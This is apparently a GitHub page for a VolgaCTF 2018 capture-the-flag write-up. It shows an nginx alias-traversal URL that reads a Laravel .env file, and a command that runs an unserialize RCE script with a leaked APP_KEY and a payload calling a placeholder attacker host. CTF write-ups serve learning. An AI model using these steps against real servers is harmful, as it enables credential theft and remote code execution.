Switch branches/tags
Nothing to show
Find file History
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Type Name Latest commit message Commit time
..
Failed to load latest commit information.
README.md add volgactf 2018 quals writeups Mar 25, 2018
laravel_attack.php add volgactf 2018 quals writeups Mar 25, 2018

README.md

Forgotten Task Writeup

  1. Get APP_KEY via nginx alias_traversal

http://forgotten-task.quals.2018.volgactf.ru/laravel../.env

  1. Create session with unserialize RCE chain

php laravel_attack.php base64:BTyS9a35xfMVYrNkvo8j0MClde4Jk6Tl/e+/+UCEyWA= "file_get_contents('http://attacker_site/rce_test');"